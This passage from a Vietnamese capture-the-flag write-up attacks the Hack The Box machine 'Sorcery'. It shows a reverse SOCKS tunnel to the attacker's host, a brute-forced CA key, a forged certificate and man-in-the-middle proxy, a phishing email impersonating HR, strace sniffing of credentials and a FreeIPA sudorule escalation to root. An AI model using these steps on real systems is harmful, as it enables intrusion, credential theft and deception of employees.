─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

user@7bfb70ee5b9c:/tmp$ ./chisel client 10.10.14.27:9000 R:1080:socks
2026/01/07 09:09:57 client: Connecting to ws://10.10.14.27:9000
2026/01/07 09:09:57 client: Connected (Latency 41.289384ms)

Quay lại máy kali, ta tiến hành FTP qua proxychain như sau:

┌──(havertz2110㉿kali)-[~]
└─$ proxychains ftp 172.19.0.5      
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.19.0.5:21  ...  OK
Connected to 172.19.0.5.
220 (vsFTPd 3.0.3)
Name (172.19.0.5:havertz2110): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||21105|)
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.19.0.5:21105  ...  OK
150 Here comes the directory listing.
drwxrwxrwx    2 ftp      ftp          4096 Oct 31  2024 pub
ftp> cd pub
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||21100|)
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.19.0.5:21100  ...  OK
150 Here comes the directory listing.
-rw-r--r--    1 ftp      ftp          1826 Oct 31  2024 RootCA.crt
-rw-r--r--    1 ftp      ftp          3434 Oct 31  2024 RootCA.key
ftp> get RootCA.crt
local: RootCA.crt remote: RootCA.crt
229 Entering Extended Passive Mode (|||21107|)
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.19.0.5:21107  ...  OK
150 Opening BINARY mode data connection for RootCA.crt (1826 bytes).
...
ftp> get RootCA.key
local: RootCA.key remote: RootCA.key
229 Entering Extended Passive Mode (|||21105|)
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.19.0.5:21105  ...  OK
150 Opening BINARY mode data connection for RootCA.key (3434 bytes).
100% |********************************|  3434        0.07 KiB/s  - stalled -^

Lúc này ta đã thành công lấy được 2 file rootCA về máy kali:

┌──(havertz2110kali)-[~/Downloads]
└─$ ls
 burpsuite_pro.ico  'Private key.pem'   RootCA.crt   RootCA.key   sorcery   tools   vpn

2.7. Set up domain and start phishing tom_summers #

Lấy được 2 file ta bắt đầu quá trình tạo server. Hãy recap lại 3 điều kiện để nhân viên nhấn vào email nha:

  1. Link đến từ các domain mà công ty sở hữu: *.sorcery.htb .
  2. Website sử dụng HTTPS.
  3. Những cái domain này dùng root CA của công ty và giải thích kèm private key đã được lưu trên FTP Server cho nên nó không thể nào bị hacked.

Đầu tiên, với yêu cầu 1, bạn có nhớ rằng khi ta phân tích chức năng DNS, có 1 khúc rằng nó sẽ đọc 2 file /dns/hosts/dns/hosts-user rồi với mỗi dòng dạng <ip><host1><host2> thì script sẽ “expand” thành nhiều dòng và ghi vào /dns/entries .

Do đó để cái domain của chúng ta trở nên hợp lệ, đầu tiên ta cần ghi vào file /dns/host-users :

user@7bfb70ee5b9c:/dns$ echo "10.10.14.27 domain.sorcery.htb" >> /dns/hosts-user
user@7bfb70ee5b9c:/dns$ bash convert.sh

Ta cũng thực hiện kill dnsmasq để xóa cache và áp dụng lại mấy cái ta vừa thêm:

user@7bfb70ee5b9c:/dns$ pkill -9 dnsmasq

Với yêu cầu 2 và 3, ta bắt tay vào tạo certificate từ những file CA Root có được.

Lí do ta tạo certificate cho domain.sorcery.htbđể:

  • Không cảnh báo SSL → Cái nhân viên này khả năng cao là bot nên nó sẽ không thể click Advanced để vượt qua. Trong thực tế thì nếu thấy cảnh báo này thì sẽ giảm tỉ lệ người ta đi tiếp.
  • Được trình duyệt tin tưởng

Ta quay về máy kali, nhập các lệnh sau để sinh key và CSR(đơn xin cấp chứng chỉ số):

┌──(havertz2110㉿kali)-[~/Downloads]
└─$ openssl genrsa -out domain.sorcery.htb.key 2048
                                                                                                                                                                                                             
┌──(havertz2110㉿kali)-[~/Downloads]
└─$ openssl req -new -key domain.sorcery.htb.key -out domain.sorcery.htb.csr -subj "/CN=domain.sorcery.htb"
                                                                                                                                                                                                             

Giải thích CSR: là 1 file ta gửi cho CA với ý nghĩa rằng ta muốn 1 certificate cho domain này, và đây là public key lẫn thông tin định danh của tôi. Tuy nhiên, trước khi có thể sử dụng Root CA để ký certificate, ta cần khôi phục passphrase bảo vệ private key của CA.

Private key của CA được lưu trong một file PEM ở dạng mã hóa và được bảo vệ bởi passphrase nhằm tránh lạm dụng nếu file bị lộ. Khi chưa có passphrase thì private key không thể được giải mã và do đó không thể dùng để ký certificate.

Vì vậy, ta tiến hành brute-force passphrase của file này bằng một script đơn giản.

#!/bin/bash
while IFS= read -r pass; do
    openssl rsa -in RootCA.key -out /dev/null -passin pass:"$pass" 2>/dev/null && { echo "Password found: $pass"; exit 0; }
done < /usr/share/wordlists/rockyou.txt

→ Kết quả của script là password .

Sau khi thu thập đầy đủ các thành phần cần thiết (Root CA certificate, private key đã được giải mã và CSR cho domain giả mạo), ta tiến hành ký certificate cho domain domain.sorcery.htb.

Đầu tiên, private key của Root CA được giải mã để loại bỏ passphrase, nhằm phục vụ cho quá trình ký tự động:

┌──(havertz2110㉿kali)-[~/Downloads]
└─$ openssl rsa -in RootCA.key -out RootCA-unenc.key 
Enter pass phrase for RootCA.key:
writing RSA key

Và sử dụng Root CA để ký CSR đã tạo trước đó, từ đó sinh ra certificate hợp lệ cho domain giả mạo:

┌──(havertz2110㉿kali)-[~/Downloads]
└─$ openssl x509 -req -in domain.sorcery.htb.csr -CA RootCA.crt -CAkey RootCA-unenc.key -CAcreateserial -out domain.sorcery.htb.crt -days 365

Certificate request self-signature ok
subject=CN=domain.sorcery.htb

Private key và certificate của domain được gộp lại thành một file PEM, phục vụ cho việc triển khai HTTPS:

┌──(havertz2110㉿kali)-[~/Downloads]
└─$ cat domain.sorcery.htb.key domain.sorcery.htb.crt > domain.sorcery.htb.pem

Do certificate này được ký bởi Root CA nội bộ, nên trình duyệt của người dùng trong hệ thống sẽ hoàn toàn tin tưởng domain giả mạo mà không hiển thị bất kỳ cảnh báo bảo mật nào.

Với certificate hợp lệ trong tay, ta thiết lập một reverse HTTPS proxy bằng mitmproxy nhằm thực hiện tấn công MiTM đối với dịch vụ nội bộ git.sorcery.htb

┌──(havertz2110㉿kali)-[~/Downloads]
└─$ mitmproxy --mode reverse:https://git.sorcery.htb --certs domain.sorcery.htb.pem --save-stream-file traffic.raw -k -p 443

image.png

Để dụ người dùng truy cập vào domain giả mạo, ta gửi một email phishing thông qua SMTP nội bộ, giả mạo nhân viên phòng nhân sự:

┌──(havertz2110㉿kali)-[~/Downloads/tools]
└─$ proxychains -q swaks --to tom_summers@sorcery.htb --from nicole_sullivan@sorcery.htb --server 172.19.0.8 --port 1025 --data "Subject: Resign Letter Accepted\nHi Tom,\n Your resignation letter has been accepted, we have made some photos to sending farewell to you, please visit it at this link: https://domain.sorcery.htb/user/login\n"

=== Trying 172.19.0.8:1025...
=== Connected to 172.19.0.8.
<-  220 mailhog.example ESMTP MailHog
 -> EHLO kali
<-  250-Hello kali
<-  250-PIPELINING
<-  250 AUTH PLAIN
 -> MAIL FROM:<nicole_sullivan@sorcery.htb>
<-  250 Sender nicole_sullivan@sorcery.htb ok
 -> RCPT TO:<tom_summers@sorcery.htb>
<-  250 Recipient tom_summers@sorcery.htb ok
 -> DATA
<-  354 End data with <CR><LF>.<CR><LF>
 -> Subject: Resign Letter Accepted
 -> Hi Tom,
 ->  Your resignation letter has been accepted, we have made some photos to sending farewell to you, please visit it at this link: https://domain.sorcery.htb/user/login
 -> 
 -> 
 -> .
<-  250 Ok: queued as bx-ux5_-WBSRcIiHw7VWYr6eVNELm3Sjnr2oCu4SY5Y=@mailhog.example
 -> QUIT
<-  221 Bye
=== Connection closed with remote host.

Quay lại dashboard, ta thấy khá nhiều request được capture lại:

image.png

Kiểm tra request POST, ta thấy phát hiện được cred của tom_summers:

image.png

tom_summers:jNsMKQ6k2.XDMPu.

2.8. Get user.txt flag #

Sử dụng credential này để SSH vào và lấy được user.txt, hoàn tất giai đoạn user flag:

┌──(havertz2110㉿kali)-[~/Downloads]
└─$ ssh tom_summers@10.129.1.36                                               
The authenticity of host '10.129.1.36 (10.129.1.36)' can't be established.
ED25519 key fingerprint is SHA256:Nshm+HLprf4CSB15aD8bc/lzqdKMitLi34sS1ZUlBog.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:1: [hashed name]
    ~/.ssh/known_hosts:4: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.1.36' (ED25519) to the list of known hosts.
(tom_summers@10.129.1.36) Password: 
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-60-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Fri Jan 07 09:37:55 2026 from 10.10.14.27
tom_summers@main:~$ ls
user.txt
tom_summers@main:~$ cat user.txt
eef64464536926f5e1cf1bb67b47a901

10.129.1.36

3. Root Flag #

3.1. Local enumeration and pivot to tom_summers_admin #

Sau khi có shell dưới user tom_summers, mình kiểm tra các user local đáng chú ý trong /home:

tom_summers@main:/home$ ls -la
total 28
drwxr-xr-x  7 root              root              4096 Oct 31  2024 .
drwxr-xr-x 25 root              root              4096 Apr 28 12:11 ..
drwxr-x---  4 rebecca_smith     rebecca_smith     4096 Oct 30  2024 rebecca_smith
drwxr-x---  3 tom_summers       tom_summers       4096 Jun 15 00:30 tom_summers
drwxr-x---  5 tom_summers_admin tom_summers_admin 4096 Oct 30  2024 tom_summers_admin
drwxr-x---  4 user              user              4096 Apr 28 11:37 user
drwxr-x---  5 vagrant           vagrant           4096 Oct 30  2024 vagrant

Kết quả cho thấy ngoài tom_summers, hệ thống còn tồn tại một số user khác đáng chú ý như rebecca_smithtom_summers_admin . Đặc biệt, user tom_summers_admin có thư mục riêng biệt, gợi ý đây có thể là một account có đặc quyền cao hơn.

kay

Trong quá trình enumerate filesystem, ta phát hiện một thư mục bất thường là /xorg/xvfb. Tiến hành kiểm tra nội dung của nó:

tom_summers@main:/xorg/xvfb$ ls -la
total 524
drwxr-xr-x 2 tom_summers_admin tom_summers_admin   4096 Jun 15 03:13 .
drwxr-xr-x 3 root              root                4096 Apr 28 12:07 ..
-rwxr--r-- 1 tom_summers_admin tom_summers_admin 527520 Jun 15 03:13 Xvfb_screen0

Ta thấy một file đáng chú ý là Xvfb_screen0 .Ta sẽ tải nó về máy rồi kiểm tra file này:

┌──(havertz2110㉿kali)-[~/Downloads/tools]
└─$ file Xvfb_screen0
Xvfb_screen0: X-Window screen dump image data, version X11, "Xvfb main.sorcery.htb:1.0", 512x256x24, 256 colors 256 entries

→ Đây là dạng file XWD (X Window Dump) hay chính là ảnh dump màn hình của Xvfb. Đẻ mở loại file này, ta có thể chuyển nó sang dạng PNG hoặc sử dụng công cụ xwud để hiển thị ảnh với lệnh sau:

┌──(havertz2110㉿kali)-[~/Downloads/tools]
└─$ xwud -in Xvfb_screen0

Trong ảnh dump, mình thấy được credential của tom_summers_admin :

image.png

tom_summers_admin:dWpuk7cesBjT-

3.2. Lateral movement to rebecca_smith using strace to docker login #

Dùng credential trên, ta có thể thành công ssh vào user tom_summers_admin. Sau đó kiểm tra xem người này có quyền gì để ta đi được xa hơn:

tom_summers_admin@main:/tmp$  sudo -l
Matching Defaults entries for tom_summers_admin on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User tom_summers_admin may run the following commands on localhost:
    (rebecca_smith) NOPASSWD: /usr/bin/docker login
    (rebecca_smith) NOPASSWD: /usr/bin/strace -s 128 -p [0-9]*

Từ kết quả trên, ta thấy được:

  • Có thể chạy được docker login dưới quyền rebecca_smith (không cần password).
  • Có thể chạy được strace -p <PID> cũng dưới quyền rebecca_smith.

strace bám vào process và in ra các syscall (trong trường hợp này ta chú ý đến read()), nên nếu ta có thể bắt đúng tiến trình docker login thì mình có thể nhìn thấy dữ liệu nó đọc khi login (trong trường hợp này là credential).

Từ hướng tấn công trên, ta sẽ viết 1 script để theo dõi các tiến trình của Docker mà đặc biệt chính là tiến trình login , sau khi phát hiện tiến trình mục tiêu, ta sẽ gắn strace vào đó:

#!/bin/bash
#  docker login as rebecca_smith
sudo -u rebecca_smith /usr/bin/docker login &

# find the PID
TARGET_PID=""
while [ -z "$TARGET_PID" ]; do
    TARGET_PID=$(pgrep -u rebecca_smith -f "/usr/bin/docker login")
done

echo "[*] Target process is PID: $TARGET_PID"
echo "[*] Attaching strace.."

# attach strace as rebecca_smith
sudo -u rebecca_smith /usr/bin/strace -s 128 -p $TARGET_PID -f -e trace=openat,read

Kết quả của script trên như bên dưới, ta thành công lấy được cred của người này:

tom_summers_admin@main:/tmp$ chmod +x docker_injection.sh
tom_summers_admin@main:/tmp$ ./docker_injection.sh
[*] Target process found! PID: 927706
[*] Attaching strace NOW...
/usr/bin/strace: Process 927706 attached with 9 threads
This account might be protected by two-factor authentication
In case login fails, try logging in with <password><otp>
[pid 927708] read(7, "{\"Username\":\"rebecca_smith\",\"Secret\":\"-7eAZDp9-f9mg\"}\n", 512) = 54
[pid 927708] read(7, 0xc0000c1036, 970) = -1 EAGAIN (Resource temporarily unavailable)
[pid 927708] read(7, "", 970)           = 0
[pid 927709] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=927715, si_uid=2003, si_status=0, si_utime=9 /* 0.09 s */, si_stime=7 /* 0.07 s */} ---
Authenticating with existing credentials... [Username: rebecca_smith]

i Info → To login with a different account, run 'docker logout' followed by 'docker login'

...(it still runs lots more before complete, you can run and check it yourself!

rebecca_smith:-7eAZDp9-f9mg

3.3. Network enumeration #

Sau khi vô pivot qua user rebecca_smith, ta sẽ bắt đầu enum mạng xem có các port nào đang mở không(vì không thể vác cả nmap vô sẽ gây noise và bất tiện):

rebecca_smith@main:/tmp$ ss -tuln
Netid                State                 Recv-Q                Send-Q                               Local Address:Port                               Peer Address:Port               Process               
udp                  UNCONN                0                     0                                       127.0.0.54:53                                      0.0.0.0:*                                        
udp                  UNCONN                0                     0                                    127.0.0.53%lo:53                                      0.0.0.0:*                                        
udp                  UNCONN                0                     0                                        127.0.0.1:88                                      0.0.0.0:*                                        
udp                  UNCONN                0                     0                                        127.0.0.1:323                                     0.0.0.0:*                                        
udp                  UNCONN                0                     0                                        127.0.0.1:464                                     0.0.0.0:*                                        
udp                  UNCONN                0                     0                                            [::1]:323                                        [::]:*                                        
tcp                  LISTEN                0                     4096                                     127.0.0.1:389                                     0.0.0.0:*                                        
tcp                  LISTEN                0                     4096                                     127.0.0.1:464                                     0.0.0.0:*                                        
tcp                  LISTEN                0                     4096                                     127.0.0.1:88                                      0.0.0.0:*                                        
tcp                  LISTEN                0                     4096                                       0.0.0.0:443                                     0.0.0.0:*                                        
tcp                  LISTEN                0                     4096                                     127.0.0.1:5000                                    0.0.0.0:*                                        
tcp                  LISTEN                0                     4096                                     127.0.0.1:636                                     0.0.0.0:*                                        
tcp                  LISTEN                0                     4096                                 127.0.0.53%lo:53                                      0.0.0.0:*                                        
tcp                  LISTEN                0                     4096                                    127.0.0.54:53                                      0.0.0.0:*                                        
tcp                  LISTEN                0                     4096                                          [::]:443                                        [::]:*                                        
tcp                  LISTEN                0                     4096                                             *:22                                            *:*                                        
rebecca_smith@main:/tmp$ 

→ Nhìn qua ta có thấy 1 số port đáng nghi ngờ:

  • 389/636: LDAP /LDAPS
  • 88: Kerberos

Và thử check file hosts của cái này xem có cái gì đáng chú ý không:

rebecca_smith@main:/tmp$ cat /etc/hosts
127.0.0.1 localhost main.sorcery.htb sorcery sorcery.htb
127.0.1.1 ubuntu-2404

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.23.0.2 dc01.sorcery.htb

Oh, ở đây có 1 điều làm ta cần phải tập trung ngay, đó chính là

  • Có host dc01.sorcery.htb → dc01 thwfogn sẽ liên quan tới “domain controller”.
  • LDAP và Kerberos đang chạy

→ Ta nên thử hướng LDAP enumeration để coi các domains, users và roles hiện hữu!

3.4. LDAP Enumeration and PE to ash_winter #

Ta tiến hành LDAP enumerate sử dụng proxychains:

└─$ proxychains ldapsearch -x -H ldap://127.0.0.1 -b "dc=sorcery,dc=htb" "(objectClass=person)"   
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  127.0.0.1:389  ...  OK
# extended LDIF
#
# LDAPv3
# base <dc=sorcery,dc=htb> with scope subtree
# filter: (objectClass=person)
# requesting: ALL
#

# admin, users, accounts, sorcery.htb
dn: uid=admin,cn=users,cn=accounts,dc=sorcery,dc=htb
objectClass: top
objectClass: person
objectClass: posixaccount
objectClass: krbprincipalaux
objectClass: krbticketpolicyaux
objectClass: inetuser
objectClass: ipaobject
objectClass: ipasshuser
objectClass: ipaSshGroupOfPubKeys
objectClass: ipaNTUserAttrs
uid: admin
cn: Administrator
sn: Administrator
uidNumber: 1638400000
gidNumber: 1638400000
homeDirectory: /home/admin
loginShell: /bin/bash
gecos: Administrator
ipaNTSecurityIdentifier: S-1-5-21-820725746-4072777037-1046661441-500

# donna_adams, users, accounts, sorcery.htb
dn: uid=donna_adams,cn=users,cn=accounts,dc=sorcery,dc=htb
givenName: donna
sn: adams
uid: donna_adams
cn: donna adams
displayName: donna adams
initials: da
gecos: donna adams
objectClass: top
objectClass: person
objectClass: organizationalperson
objectClass: inetorgperson
objectClass: inetuser
objectClass: posixaccount
objectClass: krbprincipalaux
objectClass: krbticketpolicyaux
objectClass: ipaobject
objectClass: ipasshuser
objectClass: ipaSshGroupOfPubKeys
objectClass: mepOriginEntry
objectClass: ipantuserattrs
loginShell: /bin/sh
homeDirectory: /home/donna_adams
uidNumber: 1638400003
gidNumber: 1638400003
ipaNTSecurityIdentifier: S-1-5-21-820725746-4072777037-1046661441-1003

# ash_winter, users, accounts, sorcery.htb
dn: uid=ash_winter,cn=users,cn=accounts,dc=sorcery,dc=htb
givenName: ash
sn: winter
uid: ash_winter
cn: ash winter
displayName: ash winter
initials: aw
gecos: ash winter
objectClass: top
objectClass: person
objectClass: organizationalperson
objectClass: inetorgperson
objectClass: inetuser
objectClass: posixaccount
objectClass: krbprincipalaux
objectClass: krbticketpolicyaux
objectClass: ipaobject
objectClass: ipasshuser
objectClass: ipaSshGroupOfPubKeys
objectClass: mepOriginEntry
objectClass: ipantuserattrs
loginShell: /bin/sh
homeDirectory: /home/ash_winter
uidNumber: 1638400004
gidNumber: 1638400004
ipaNTSecurityIdentifier: S-1-5-21-820725746-4072777037-1046661441-1004

# search result
search: 2
result: 0 Success

# numResponses: 4
# numEntries: 3

Trong số kết quả trả về, có 1 số objectClass cần ta chú ý:

  • ipaobject
  • ipasshuser
  • krbprincipalaux

→ Those objectClass are FreeIPA - an Identity Management usually seen in Linux.

To interact with FreeIPA, ta cứ hiểu nó như kiểu Active Directory nhưng theo Linux. FreeIPA thường được dùng để gom hết mấy thứ liên quan tài khoản và quyền về một chỗ để admin quản lý cho tiện. Những cái nó thường quản lý tập trung:

  • User / Group (lưu trong LDAP directory)
  • Kerberos principal để đăng nhập kiểu SSO
  • SSH public key (đẩy key theo user, login máy nào cũng dùng được)
  • Sudo rules (máy client nhận rule qua SSSD)
  • Chính sách mật khẩu: đặt rule, reset password, hết hạn, bắt đổi mật khẩu…
  • Quản trị bằng CLI ipa hoặc web UI (dịch vụ WSGI của IPA)

Điểm đáng chú ý khi nói về leo thang đặc quyền là: trong môi trường có FreeIPA, rất hay có các tác vụ “vận hành tự động” chạy ngầm để đồng bộ hoặc quản trị tài khoản, ví dụ:

  • cron job / systemd timer
  • service chạy nền
  • script quản trị user, reset password, update group/sudo rule…

Mấy tác vụ này đôi khi chạy bằng root hoặc bằng tài khoản service quyền cao. Nếu người viết automation làm ẩu (ví dụ truyền password thẳng trong command-line, log ra file, hoặc để lộ tham số), thì credential có thể bị lộ ra qua process list, log, hoặc công cụ theo dõi tiến trình như pspy. Và từ đó nó trở thành một vector leo quyềqn rất “ngon” trong thực tế.

Để chứng thực giả thuyết trên, mình dùng pspy:

rebecca_smith@main:/tmp$ ./pspy64 | grep ipa
2026/01/06 08:50:50 CMD: UID=2003  PID=267680 | grep ipa 
2026/01/06 08:50:50 CMD: UID=165536 PID=7521   | /usr/bin/python3 -I /usr/libexec/ipa/ipa-custodia /etc/ipa/custodia/custodia.conf 
2026/01/06 08:50:50 CMD: UID=165825 PID=7437   | (wsgi:ipa)      -DFOREGROUND 
2026/01/06 08:50:50 CMD: UID=165825 PID=7433   | (wsgi:ipa)      -DFOREGROUND 
2026/01/06 08:50:50 CMD: UID=165825 PID=7431   | (wsgi:ipa)      -DFOREGROUND 
2026/01/06 08:50:50 CMD: UID=165825 PID=7429   | (wsgi:ipa)      -DFOREGROUND 
2026/01/06 08:50:50 CMD: UID=165536 PID=3185   | tail --silent -n 0 -f --retry /var/log/ipa-server-configure-first.log /var/log/ipa-server-run.log 
2026/01/06 08:51:34 CMD: UID=1638400000 PID=269016 | /usr/bin/python3 -I /usr/bin/ipa sudorule-find 
2026/01/06 08:51:35 CMD: UID=1638400000 PID=269022 | /usr/bin/python3 -I /usr/bin/ipa user-mod ash_winter --setattr userPassword=w@LoiU8Crmdep 

image.png

→ Kết quả cho thấy nhiều tiến trình liên quan FreeIPA và quan trọng nhất là có lệnh ipa user-mod chạy định kỳ với tham số set password dạng plaintext.

→ Ta lấy được credential của nhân vật ash_winter qua 1 lần FreeIPa chạy user-mod

ash_winter@w@LoiU8Crmdep

Sử dụng credential trên để đăng nhập vô thì ta được thông báo là password đã timeout, mình đặt lại là Havertz@2110 và thành công vào được dưới danh nghĩa người này:

└─$ ssh ash_winter@10.129.1.36
(ash_winter@10.129.1.36) Password: 
Password expired. Change your password now.
(ash_winter@10.129.1.36) Current Password: 
(ash_winter@10.129.1.36) New password: 
(ash_winter@10.129.1.36) Retype new password: 
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-60-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Tue Jan 8 08:54:46 2026 from 10.10.14.27
$ id
uid=1638400004(ash_winter) gid=1638400004(ash_winter) groups=1638400004(ash_winter)

Đầu tiên, ta xem quyền sudo của người này có gì:

ash_winter@main:/$ sudo -l
Matching Defaults entries for ash_winter on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User ash_winter may run the following commands on localhost:
    (root) NOPASSWD: /usr/bin/systemctl restart sssd

→ Kết quả ta thấy ash_winter có quyền chạy NOPASSSWD /usr/bin/systemctl restart sssd (với quyền root)

Lúc này ta cần biết, trên máy Linux join FreeIPA, sudo rules không nằm ở phía local mà thường được SSSD kéo về từ FreeIPAcache lại. Vì vậy, nếu mình sửa sudo rule ở phía FreeIPA, thì máy này chưa chắc áp dụng ngay cho đến khi cache được refresh.

Hơn nữa, trong FreeIPA, quyền sudo thường được định nghĩa bằng sudorule. Rule này sẽ chỉ định:

  • user/group nào được sudo
  • chạy trên host nào
  • được phép chạy command nào
  • runas user/group nào

→ Do đó, nếu mình có quyền gọi các lệnh ipa để sửa group/sudorule, thì mình có thể tự thêm mình vào đối tượng có đặc quyền (group đặc quyền hoặc trực tiếp vào sudorule cho phép sudo).

Đầu tiên, mình tự add mình vào group sysadmin:

$ ipa group-add-member sysadmins --users=ash_winter
  Group name: sysadmins
  GID: 1638400005
  Member users: ash_winter
  Indirect Member of role: manage_sudorules_ldap
-------------------------
Number of members added 1
-------------------------

Group sysadmins trong FreeIPA thường gắn với role/permission quản trị (tuỳ cấu hình lab), nên sau bước này user có thể có thêm quyền quản trị gián tiếp.

Sau đó, mình tự add mình vào sudorule allow_sudo :

$ ipa sudorule-add-user allow_sudo --users=ash_winter
  Rule name: allow_sudo
  Enabled: True
  Host category: all
  Command category: all
  RunAs User category: all
  RunAs Group category: all
  Users: admin, ash_winter
-------------------------
Number of members added 1
-------------------------
$ sudo /usr/bin/systemctl restart sssd

3.5. Get root.txt flag #

Lúc này, để mọi thứ hoạt động, ta sẽ đăng xuất phiên SSH (để xóa cache và fetch sudo rule mới) rồi vào lại và nhập như bên dưới là hoàn thành:

                                                                                                                                                                                                             
┌──(havertz2110㉿kali)-[~/Downloads/tools]
└─$ ssh ash_winter@10.129.1.36
(ash_winter@10.129.1.36) Password: 
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-60-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Tue Jan 8 09:00:22 2026 from 10.10.14.27
$ sudo su -
[sudo] password for ash_winter: 
root@main:~# cd /root
root@main:~# cat root.txt
214eb5e78478bffe9219411a802022b2
root@main:~#